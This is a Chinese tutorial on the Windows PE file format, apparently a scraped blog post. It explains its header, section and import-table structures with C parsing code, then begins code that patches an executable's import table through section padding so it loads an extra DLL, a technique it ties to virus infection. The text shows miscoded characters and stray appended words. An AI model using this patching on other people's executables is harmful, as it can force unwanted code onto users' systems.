PE文件是Windows系統可執行文件採用的廣泛格式,像咱們平時接觸的EXE、DLL、OCX,甚至SYS文件都是屬於PE文件的範疇。不少Win32病毒都是基於感染PE文件來進行傳播的。今天咱們就來嘗試一下經過感染PE文件使其加載指定的DLL。
PE文件功能
衆所周知,在Windows程序中須要調用各類各樣的系統API,這些API被微軟封裝在不一樣的DLL文件中,這些DLL會在進程啓動時(或者須要時)加載進進程的地址空間。咱們調用一個API都是基於以下的彙編代碼:
00411A3E mov esi,esp
00411A40 push 100h
00411A45 lea eax,[strDllDir]
00411A4B push eax
00411A4C call dword ptr [__imp__GetWindowsDirectoryA@8 (42B180h)]算法
這些彙編代碼是針對以下代碼的反彙編結果:編程
char strDllDir[256];
GetWindowsDirectory(strDllDir,256);
可見,調用一個系統API是在參數壓棧後調用call命令執行系統調用GetWindowsDirectory()的。上文說過,系統調用是經過DLL引入進程的,可是不一樣進程引入的DLL地址並不相同,程序是如何知道這個Call應該調用什麼地址呢?這就須要PE文件發揮做用了。PE文件裏面定義了本文件包含的API地址相對偏移值,執行進程根據這個PE文件加載的基地址和相對偏移值就能夠算出某個特定API在本進程地址空間的位置,並加以調用。
此外,PE文件還具備指定默認引入DLL,導出API等其餘功能,下文會一一詳細介紹。數組
分析PE文件的準備工做
進行PE文件分析須要準備幾個小軟件,現介紹以下。ExpScope:使用該程序能夠打開一個PE文件進行分析,可以顯示PE頭結構、導入表、導出表、資源等相關信息。LordPE:能夠分析靜態文件,也能夠分析當前運行的進程,此外還提供簡單的脫殼和PE文件修復功能,使用方便。WinDump:一個開源的PE文件分析軟件,讀者能夠自行下載進行參考。
有了這幾款軟件,如今咱們就能夠進行PE文件的分析了。爲了更生動的分析PE文件的結構,咱們嘗試編程剝離PE文件的層層結構,並對齊進行修改以驗證程序分析的正確性。瀏覽器
PE文件頭部分析
咱們的分析以IE爲例。首先建一個新的工程,選擇Windows控制檯程序便可,在該工程內導入類「CMapFile」,這個類能夠將一個文件映射入內存,其工做原理是基於Windows的內存映射文件機制,實現細節再也不贅述。緩存
PVOID pPeImage =NULL;
DWORD dwFileSize =0 ;
CMapFile cMapFile("iexplore.exe",true,pPeImage,dwFileSize);
if(pPeImage==NULL)
{
printf("Map File Error");
}
在這段代碼執行完畢後,pPeImage即爲「iexplore.exe」的內存映像首地址,dwFileSize爲該內存映像的大小。
PE文件的頭整體結構如圖1所示 :數據結構
圖1 PE文件結構
MS-DOS頭部
第一個結構是MS-DOS頭,這個是爲了兼容舊的DOS程序設計的,若是一個Win32程序在DOS模式下運行,DOS頭部就會發揮其做用,把執行定位到MS-DOS實模式殘餘程序,該程序會調用int 21中斷輸出一個字符串「This program cannot be run in DOS mode」,而後直接退出。MS-DOS頭部_IMAGE_DOS_HEADER在「winnt.h」裏面有定義。
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
不少讀者可能都會看到有些文章把MS-DOS頭部稱爲MZ頭部,是由於其第一成員變量e_magic,被稱爲魔術數字,用於表示一個MS-DOS兼容的文件類型。全部MS-DOS兼容的可執行文件都將這個值設爲0x5A4D,表示ASCII字符MZ,就是這個緣故。至於其他的成員變量,除了最後一個成員變量:e_lfanew,基本上都是爲了DOS下實模式設計,現在已經沒有什麼實際做用。e_lfanew用來表示PE頭部在這個PE文件中的偏移量。經過以下代碼能夠得到PE頭部地址:
BYTE *pFileImage = (BYTE*)pPeImage;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
PIMAGE_FILE_HEADER pFileHeader =(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
爲何須要「e_lfanew+4」呢,這是由於除了偏移量pDosHeader->e_lfanew,還有一個DWORD的偏移,這個DWORD 是存儲PE文件標誌的,值爲0x4550,對應ASCII字符「PE」。
PE頭部
下面咱們來介紹PE頭部的內容:
PE頭部在「winnt.h」中定義以下:
typedef struct _IMAGE_FILE_HEADER {
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
這個結構比較簡單,下面我依次介紹這七個成員變量的含義:
第一個成員變量Machine表示這個可執行文件被構建的目標機器種類,在個人示例程序中得到的Machine值是0x14c,表明i386。第二個成員變量NumberOfSection顧名思義,表示本PE文件段的個數。PE文件段包括段頭部和段實體,它們在文件中連續地線性排列着,因此要決定段頭部和段實體在哪裏結束的話,段的數目是必需的。
第三個變量TimeDataStamp是一個時間戳變量。第四個和第五個變量PointerToSymbolTable和NumberOfSymbols共同肯定了符號表的位置和大小。
第六個變量SizeOfOptionalHeader表示選項頭部的大小,選項頭部就在PE文件頭部後面線性排列,這個結構是程序運行相當重要的參數,具體內容容後介紹。
最後一個變量Characteristics表示了文件的一些特徵,例如在調試程序時此字段就會發揮其做用。
選項頭
咱們經過下面的代碼能夠定位到選項頭:
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader =(PIMAGE_OPTIONAL_HEADER32)(pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
選項頭在「winnt.h」中定義以下:
typedef struct _IMAGE_OPTIONAL_HEADER {
// Standard fields.
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
// NT additional fields.
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
此結構成員按照功能的區別能夠分爲兩個域:標準域和NT附加域。
標準域是和UNIX可執行文件的COFF格式所公共的部分,可是其只保留了COFF中定義的名字,Windows將其成員變量用做了不一樣的目的。例如,咱們能夠經過第一個變量Magic得到不一樣PE文件的種類,通常的Win32程序這個值都是0x10b;經過第二個和第三個變量MajorLinkerVersion、MinorLinkerVersion獲得連接此映像的連接器版本。根據第四個變量SizeOfCode肯定可執行代碼尺寸。根據第五個和第六個變量SizeOfInitializedData和SizeOfUninitializedData得到已初始化和未初始化的數據尺寸。第七個變量AddressOfEntryPoint是相當重要的屬性字段,用以肯定PE文件執行的入口點,進程加載exe映像後就會跳轉到該地址開始執行。此外第八個變量BaseOfCode和第九個變量BaseOfData分別是已載入映像的代碼段(「.text」段)的相對偏移量和未初始化數據(「.bss」段)的相對偏移量。
其他的變量構成NT附加域,顧名思義,這個區域主要存儲一些和程序在Windows系統下運行相關的信息。成員變量具體含義以下所示:
ImageBase:進程映像地址空間中的首選基地址。Windows NT的Microsoft Win32 SDK連接器將這個值默認設爲0x00400000。
SectionAlignment:在進程建立時,相關PE文件的每一個段都被相繼的裝入進程的地址空間中。因爲Windwos具備內存分頁機制,因此內存各段的初始地址應該與分頁對其以提高系統性能,該變量規定了裝載時段可以佔據的最小空間數量。Windows NT虛擬內存管理器規定,段對齊不能少於頁尺寸(當前的x86平臺是4096字節),而且必須是成倍的頁尺寸。因此該變量默認值爲4K。
FileAlignment:映像文件首先裝載的最小的信息塊間隔。
MajorOperatingSystemVersion:系統主板本號。
MinorOperatingSystemVersion:系統次版本號。
MajorImageVersion:應用程序主板本號。
MinorImageVersion:應用程序次版本號。
MajorSubsystemVersion:Windows Win32子系統主板本號。
MinorSubsystemVersion:Windows Win32子系統次版本號。
Win32VersionValue:保留,通常爲零。
SizeOfImage:表示載入的可執行映像的地址空間中要保留的地址空間大小,其值等於本PE文件各個段考慮SectionAlignment對齊後的所佔地址空間之和。因此說本變量的值會受到SectionAlignment的大小的影響。
SizeOfHeaders:本PE文件所有頭結構所佔的體積,包括DOS頭,PE文件頭和PE選項頭等。
CheckSum:校驗和,某些文件能夠設置該值對自己進行完整性保護。
Subsystem:表示該可執行文件的目標子系統,例如DOS子系統等。
DllCharacteristics:已經廢棄。
SizeOfStackReserve:程序保留的棧大小。
SizeOfStackCommit:棧提交大小。
SizeOfHeapReserve:程序堆保留大小。
SizeOfHeapCommit:堆提交大小。默認狀況下,程序的堆棧空間都是1個頁面的申請大小和16個頁面的保留大小。
LoaderFlags:告知裝載器是否在裝載時停止和調試。
NumberOfRvaAndSizes:表示後面的DataDirectory數組個數,通常都爲16。
DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]:數據目錄表示文件中其它可執行信息重要組成部分的位置。它事實上就是一個IMAGE_DATA_DIRECTORY結構的數組,位於可選頭部結構的末尾。當前的PE文件格式在「winnt.h」定義了16種可能的數據目錄,這之中的11種如今在使用中。
數據目錄數組各項含義在「winnt.h」定義以下:
#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 // Resource Directory
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3 // Exception Directory
#define IMAGE_DIRECTORY_ENTRY_SECURITY 4 // Security Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 // Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG 6 // Debug Directory
// IMAGE_DIRECTORY_ENTRY_COPYRIGHT 7 // (X86 usage)
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 7 // Architecture Specific Data
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 8 // RVA of GP
#define IMAGE_DIRECTORY_ENTRY_TLS 9 // TLS Directory
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 10 // Load Configuration Directory
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 11 // Bound Import Directory in headers
#define IMAGE_DIRECTORY_ENTRY_IAT 12 // Import Address Table
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13 // Delay Load Import Descriptors
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14 // COM Runtime descriptor
各項的含義註釋已經明確說明,再也不贅述。
下面給出此數組單個數組項IMAGE_DATA_DIRECTORY 的結構定義:
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
其中,VirtualAddress表明本DataDirectory相對於文件頭部的虛擬偏移地址,注意,這個虛擬偏移地址表明PE文件加載入進程後在進程地址空間相對於本PE文件加載首地址的偏移地址,並不是相對PE文件頭部的偏移地址,Size表示了這個數據目錄的大小。
因此沒法使用下面的代碼得到導入表目錄的啓示位置。
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor= (PIMAGE_IMPORT_DESCRIPTOR)(pFileImage+pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
要想弄清楚如何得到根據數據目錄(DataDirectory)得到相應的數據,必須首先明確段的概念,我將在下面首先介紹段的相關內容,而後再回過頭來解決這個問題。
PE文件段
PE文件的段沒有什麼特定的結構特色,它幾乎能夠被連接器連接到PE文件的任何地方,程序執行時從PE文件定位段全靠段頭部。
段頭部每一個40字節長,以數組的形式存放在Image Optional Header後面,可使用以下代碼得到該數組的啓示地址。
PIMAGE_SECTION_HEADER pSectionHeader =(PIMAGE_SECTION_HEADER)(((char *)pOptionalHeader)+sizeof(IMAGE_OPTIONAL_HEADER32));
此外,咱們能夠讀取PE文件頭部的NumberOfSections變量獲取該數組的大小。這裏須要提示一下,根據筆者試驗,雖然某些PE文件只有三至五個段,可是仍是爲了段頭部數組預留了至少10個空間,也就是說,NumberOfSections表示的只是段頭部數組有效元素的個數,而不是所有元素個數,在選項頭部和第一個段實體之間的數據均可以用來存放段頭部。
IMAGE_SECTION_HEADER在「winnt.h」中定義以下:
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
其中,Name儲存的區段的名稱,這個名稱最大長度8字節,且開頭第一個字符必須是「.」,如「.text」、「.data」等。
接下來的Union如今已經再也不使用,沒有什麼實際意義。
VirtualAddress:這個域標識了進程地址空間中要裝載這個段的虛擬地址。實際的地址由將這個域的值加上可選頭部結構中的ImageBase虛擬地址獲得。切記,若是這個映像文件是一個DLL,那麼這個DLL就不必定會裝載到ImageBase要求的位置。因此一旦這個文件被裝載進入了一個進程,實際的ImageBase值應該經過使用GetModuleHandle來檢驗。
SizeOfRawData表示原始數據的大小,也就是根據FileAlignment進行對齊以前的數據大小。
PointerToRawData:這是一個文件中段實體位置的偏移量。
接下來的四個變量PointerToRelocations、PointerToLinenumbers、NumberOfRelocations、NumberOfLinenumbers在PE格式中不使用。
Characteristics定義了段的特徵。
表一顯示了不一樣Characteristics值對應的不一樣含義:
表一 Characteristics取值範圍及含義
可能取值
對應含義
0x00000020
代碼段
0x00000040
已初始化數據段
0x00000080
未初始化數據段
0x04000000
該段數據不能被緩存
0x08000000
該段不能被分頁
0x10000000
共享段
0x20000000
可執行段
0x40000000
可讀段
0x80000000
可寫段
如今能夠先回過頭解決數據目錄定位的問題了,數據目錄所指向的內容,必然屬於一個段實體,每一個段在進程執行時被加載到進程地址空間的偏移量是由這個段段頭部的VirtualAddress肯定的,這個值得含義和數據目錄中的VirtualAddress含義相同,因此只要可以知道數據目錄指向的數據究竟屬於哪一個段,就能夠根據兩個VirtualAddress的差值肯定這個數據目錄指向數據相對於這個段實體頭部的偏移量,而後再跟據段頭部的PointerToRawData定位這個段實體在PE文件中的位置,就能夠進一步肯定該DataDirectory所對應數據在文件中的位置了。
下面代碼實現了根據DataDirectory數組下標肯定其對應的數據位置的功能:
LPVOID GetDataPositionByDataDirectoryIndex(BYTE *pFileImage,DWORD dwDataDirectoryIndex)
{
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
PIMAGE_FILE_HEADER pFileHeader =(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader =(PIMAGE_OPTIONAL_HEADER32)(pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
PIMAGE_SECTION_HEADER pSectionHeader =(PIMAGE_SECTION_HEADER)(((char *)pOptionalHeader)+sizeof(IMAGE_OPTIONAL_HEADER32));
if(dwDataDirectoryIndex>=pOptionalHeader->NumberOfRvaAndSizes)
{
return NULL;
}
PIMAGE_SECTION_HEADER pSectionBelong=NULL;
for(int i=0;i<pFileHeader->NumberOfSections;i++)
{
if(pSectionHeader[i].VirtualAddress<=pOptionalHeader->DataDirectory[dwDataDirectoryIndex].VirtualAddress&&pSectionHeader[i].VirtualAddress+pSectionHeader[i].SizeOfRawData>=pOptionalHeader->DataDirectory[dwDataDirectoryIndex].VirtualAddress+pOptionalHeader->DataDirectory[dwDataDirectoryIndex].Size)
{
pSectionBelong=&(pSectionHeader[i]);
break;
}
}
if(pSectionBelong==NULL)
{
return NULL;
}
else
{
return pFileImage+pSectionBelong->PointerToRawData+pOptionalHeader->DataDirectory[dwDataDirectoryIndex].VirtualAddress-pSectionBelong->VirtualAddress;
}
}
基於相似的原理,還能夠實現從VirtualAddress向文件偏移量的轉換,下面的函數及實現了以下的功能:
DWORD VirtualAddrToOffSet(DWORD dwVirtualAddr,BYTE *pFileImage)
{
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
PIMAGE_FILE_HEADER pFileHeader =(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader =(PIMAGE_OPTIONAL_HEADER32)(pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
PIMAGE_SECTION_HEADER pSectionHeader =(PIMAGE_SECTION_HEADER)(((char *)pOptionalHeader)+sizeof(IMAGE_OPTIONAL_HEADER32));
PIMAGE_SECTION_HEADER pSectionBelong=NULL;
for(int i=0;i<pFileHeader->NumberOfSections;i++)
{
if(pSectionHeader[i].VirtualAddress<=dwVirtualAddr&&pSectionHeader[i].VirtualAddress+pSectionHeader[i].SizeOfRawData>=dwVirtualAddr)
{
pSectionBelong=&(pSectionHeader[i]);
break;
}
}
if(pSectionBelong==NULL)
{
return 0;
}
else
{
return pSectionBelong->PointerToRawData+dwVirtualAddr-pSectionBelong->VirtualAddress;
}
}
爲了驗證上述兩個函數的正確性,能夠嘗試編程得到iexplore.exe導入表中倒入的DLL名稱:
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pFileImage+VirtualAddrToOffSet(pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,pFileImage));
while(pImportDescriptor->Characteristics!=0)
{
char *p = (char *)pFileImage+VirtualAddrToOffSet(pImportDescriptor->Name,pFileImage);
printf("Dll Name : %s\n",p);
pImportDescriptor++;
}
程序運行結果以下:ide
圖2 得到導入DLL名稱
解決了這個問題,咱們回到上文對段及段頭部的分析中去。
一個Windows的應用程序典型地擁有9個預約義段,它們是.text、.bss、.rdata、.data以及.rsrc、.edata、.idata、.pdata和.debug。一些應用程序不須要全部的這些段,一樣還有一些應用程序爲了本身特殊的須要而定義了更多的段。這種作法與MS-DOS和Windows 3.1中的代碼段和數據段類似。
下面咱們開始介紹這些段的做用:
.text:代碼段,程序執行代碼即存放在這個區域;
.bss:存儲未初始化的數據變量,如各個函數中的static變量;
.rdata:存儲只讀數據,如字符串常量;
.data:存儲程序或模塊全局變量,這裏須要提醒讀者,函數中的局部變量在程序運行過程當中在棧內動態分配,不存儲在上述三個段中;
.rsrc:存儲資源,如位圖,圖標等。
.edata:導出數據段,存儲本PE文件對外導出的函數名稱、地址等信息,在DLL中尤爲重要。
.idata:存儲本PE文件導入的其餘PE文件信息和導入函數信息,在進程加載本PE文件時,會自動加載導入段中標示的DLL,並得到相應函數地址;
.pdata:這個段包含了一個函數異常處理表數組,數組的每項對應一個函數,在大多數狀況下,每一個表項佔8個byte,可是若是函數具備異常捕獲結構,則須要額外的8個byte來描述。
.debug:包含了相關調試的諸多內容。
這其中比較重要的包括代碼段、導入段、導出段和資源段,下面咱們來逐一分析。
在分析以前首先介紹一點,如今不少程序都會在某個特定段中實現多個段內容,如微軟的瀏覽器iexplore.exe就是在代碼段中實現了導入段的內容,但願你們在分析時注意。
導入表內容分析
首先來分析導入表的內容吧。
在驗證虛擬地址和文件偏移量轉換算法的時候,筆者編寫了一段代碼,嘗試輸出導入的DLL名稱,就涉及了導入表的最基本結構。若是調試該程序,就能夠發現,iexplore.exe的導入表實際在段「.text」中實現,在「winnt.h」中有若干數據結構都和導入表有關係,首先來分析IMAGE_IMPORT_DESCRIPTOR:
「winnt.h」中對這個數據結構定義以下:
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics; // 0 for terminating null import descriptor
DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
};
DWORD TimeDateStamp; // 0 if not bound,
// -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)
DWORD ForwarderChain; // -1 if no forwarders
DWORD Name;
DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)
} IMAGE_IMPORT_DESCRIPTOR;
第一個成員變量是一個union,其實也就是一個DWORD,這個成員變量既能夠在爲零的時候表明IMAGE_IMPORT_DESCRIPTOR數組結束(即數組的最後一個元素),又能夠表示一個IMAGE_THUNK_DATA數組的虛擬偏移地址,這個數組每一項表明一個引入函數,其具體定義將在後面詳細介紹。
第二個和第三個變量按照PE文件的規範是表明時間戳和數組長度,可是在個人實驗中這兩個變量的值始終是0xffffffff,估計如今已經再也不使用。
Name是一個虛擬地址,指向一個以‘0’結尾的字符串,表明導入的DLL名稱,上文得到導入DLL的名稱就是經過這個變量得到的。
FirstThunk也是一個虛擬地址,指向一個IMAGE_THUNK_DATA數組,表明模塊導入的函數。
讀者也許會奇怪,爲何有兩個虛擬地址都指向IMAGE_THUNK_DATA數組,二者之間有什麼區別?在解釋這個問題以前,必須首先弄清楚IMAGE_THUNK_DATA的結構,「winnt.h」對這個結構定義以下:
typedef struct _IMAGE_THUNK_DATA32 {
union {
DWORD ForwarderString; // PBYTE
DWORD Function; // PDWORD
DWORD Ordinal;
DWORD AddressOfData; // PIMAGE_IMPORT_BY_NAME
} u1;
} IMAGE_THUNK_DATA32;
其實這個結構能夠被看成一個DWORD使用,當這個DWORD最高位是1的時候,表明這個函數經過序號形式引入,下面的宏就是「winnt.h」中用來取出函數導入序號的。
#define IMAGE_ORDINAL32(Ordinal) (Ordinal & 0xffff)
若是最高位是零,則這個DWORD表明一個虛擬地址,指向一個IMAGE_IMPORT_BY_NAME結構,這個結構定義以下:
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;
BYTE Name[1];
} IMAGE_IMPORT_BY_NAME;
在結構定義時,雖然Name數組的長度爲1,可是在PE文件中,其爲一個以‘0’結尾的字符串,表示函數的名字。例如咱們可使用以下代碼得到每一個模塊中的導入函數名稱:
int _tmain(int argc, _TCHAR* argv[])
{
PVOID pPeImage =NULL;
DWORD dwFileSize =0 ;
CMapFile cMapFile("iexplore.exe",true,pPeImage,dwFileSize);
if(pPeImage!=NULL)
{
BYTE *pFileImage = (BYTE*)pPeImage;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
PIMAGE_FILE_HEADER pFileHeader =(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader =(PIMAGE_OPTIONAL_HEADER32)(pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
PIMAGE_SECTION_HEADER pSectionHeader =(PIMAGE_SECTION_HEADER)(((char *)pOptionalHeader)+sizeof(IMAGE_OPTIONAL_HEADER32));
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pFileImage+VirtualAddrToOffSet(pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,pFileImage));
while(pImportDescriptor->Characteristics!=0)
{
char *p = (char *)pFileImage+VirtualAddrToOffSet(pImportDescriptor->Name,pFileImage);
printf("Dll Name : %s\n",p);
PIMAGE_THUNK_DATA pImageThunk=(PIMAGE_THUNK_DATA)(pFileImage+VirtualAddrToOffSet(pImportDescriptor->OriginalFirstThunk,pFileImage));
for(int i=0;pImageThunk[i].u1.AddressOfData!=0;i++)
{
if(0==(pImageThunk[i].u1.Ordinal & IMAGE_ORDINAL_FLAG))
{
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(pFileImage+VirtualAddrToOffSet(pImageThunk[i].u1.AddressOfData,pFileImage));
printf(" Function %u Name :%s\n",i+1,(char *)pImportByName->Name);
}
}
pImportDescriptor++;
}
}
else
{
printf("Map File Error");//IMAGE_IMPORT_DIRECTORY
}
getch();
return 0;
}
運行結果如圖3所示:函數
圖3 得到導入函數名稱運行結果
如今解釋爲何IMAGE_IMPORT_DESCRIPTOR中會有兩個值都指向IMAGE_THUNK_DATA數組,其中OriginalFirstThunk指向的函數導入相關的IMAGE_THUNK_DATA結構,而FirstThunk指向的IMAGE_THUNK_DATA結構首位所有爲零,進而指向一個IMAGE_IMPORT_BY_NAME結構,這個結構的Name對應一個長度爲一的字符串「?」,而當這個PE文件被加載後,FirstThunk就會變成這個函數在其加載進程地址空間中的位置了。
修改導入表加載DLL
下面來嘗試給這個文件導入表加一個DLL,爲了完成這項工做,首先準備功能函數OffsetToVirtuanAddr(),用來將文件偏移量轉換成虛擬地址,代碼以下:
DWORD OffsetToVirtuanAddr(DWORD dwOffset,BYTE *pFileImage)
{
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
PIMAGE_FILE_HEADER pFileHeader =(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader =(PIMAGE_OPTIONAL_HEADER32)(pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER) ( ( (char *) pOptionalHeader) + sizeof(IMAGE_OPTIONAL_HEADER32));
PIMAGE_SECTION_HEADER pSectionBelong = NULL;
for(int i=0;i<pFileHeader->NumberOfSections;i++)
{
if(pSectionHeader[i].PointerToRawData <= dwOffset&&pSectionHeader[i].PointerToRawData+pSectionHeader[i].SizeOfRawData >= dwOffset)
{
pSectionBelong=&(pSectionHeader[i]);
break;
}
}
if(pSectionBelong==NULL)
{
return 0;
}
else
{
return pSectionBelong->VirtualAddress + dwOffset - pSectionBelong->PointerToRawData;
}
}
這個函數的原理和函數VirtualAddressToOffset()相似,都是首先遍歷所有的段頭部,找到本偏移地址所在的段,而後根據段頭部的VirtuallAddress和dwOffset與本段偏移量PointerToRawData的差值肯定這個Offset對應的VirtualAddress,並返回結果。
要在PE文件中添加導入段,必須重寫IMAGE_IMPORT_DESCRIPTOR數組,上文介紹,這個數組每一項對應一個導入的DLL,以一個Characteristics爲零的結構體結束,並且這個數組必須是連續的,此外這個數組後面通常沒有空白,那應該把新的MAGE_IMPORT_DESCRIPTOR結構體插入到什麼地方呢?
你們回顧前面介紹的內容,每一個段爲了內存與頁對其,其末尾都是有必定的填充數據的,本程序就是利用這些填充數據寫入新的IMAGE_IMPORT_DESCRIPTOR數組。
新寫入的數組比原來的數組長度增長一,對應須要引入的DLL,可是引入一個DLL還須要其餘結構的協助,例如「IMAGE_THUNK_DATA」、「IMAGE_IMPORT_BY_NAME」,用來存放舊的IMAGE_IMPORT_DESCRIPTOR數組的空間正好存放這些數據。
實現代碼以下:
BYTE *pFileImage = (BYTE*)pPeImage;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
PIMAGE_FILE_HEADER pFileHeader =(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader =(PIMAGE_OPTIONAL_HEADER32) (pFileImage + pDosHeader->e_lfanew + 4 + sizeof(IMAGE_FILE_HEADER));
BYTE *pInterPoint = pFileImage + VirtualAddrToOffSet(pOptionalHeader->AddressOfEntryPoint , pFileImage);
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER) (( (char *)pOptionalHeader)+sizeof(IMAGE_OPTIONAL_HEADER32));
BYTE * pRDataEnd = pFileImage+pSectionHeader[1].PointerToRawData + pSectionHeader[1].SizeOfRawData-1;
UINT nPadSize=0;
while(pRDataEnd[0]==0)
{
nPadSize++;
pRDataEnd--;
}
nPadSize--;
程序首先經過上面的循環得到填充數據的長度,而後再得到須要寫入的新的IMAGE_IMPORT_DESCRIPTOR數組的長度,存儲在「dwBufferSize」中。
BYTE *pPadStart = ++++pRDataEnd;
PIMAGE_IMPORT_DESCRIPTOR pOriginalImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pFileImage+VirtualAddrToOffSet(pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,pFileImage));
int nImportDescriptor = 0;
do
{
nImportDescriptor++;
}
while(pOriginalImportDescriptor[nImportDescriptor].Characteristics!=0);
DWORD dwBufferSize =sizeof(IMAGE_IMPORT_DESCRIPTOR)*nImportDescriptor;
if(nPadSize>dwBufferSize+ sizeof(IMAGE_IMPORT_DESCRIPTOR))
{
memcpy(pPadStart,pOriginalImportDescriptor,dwBufferSize);
若是填充區域大小足夠,則拷貝舊的數組,並寫入新數組項,導入DLL「trydll.dll」。
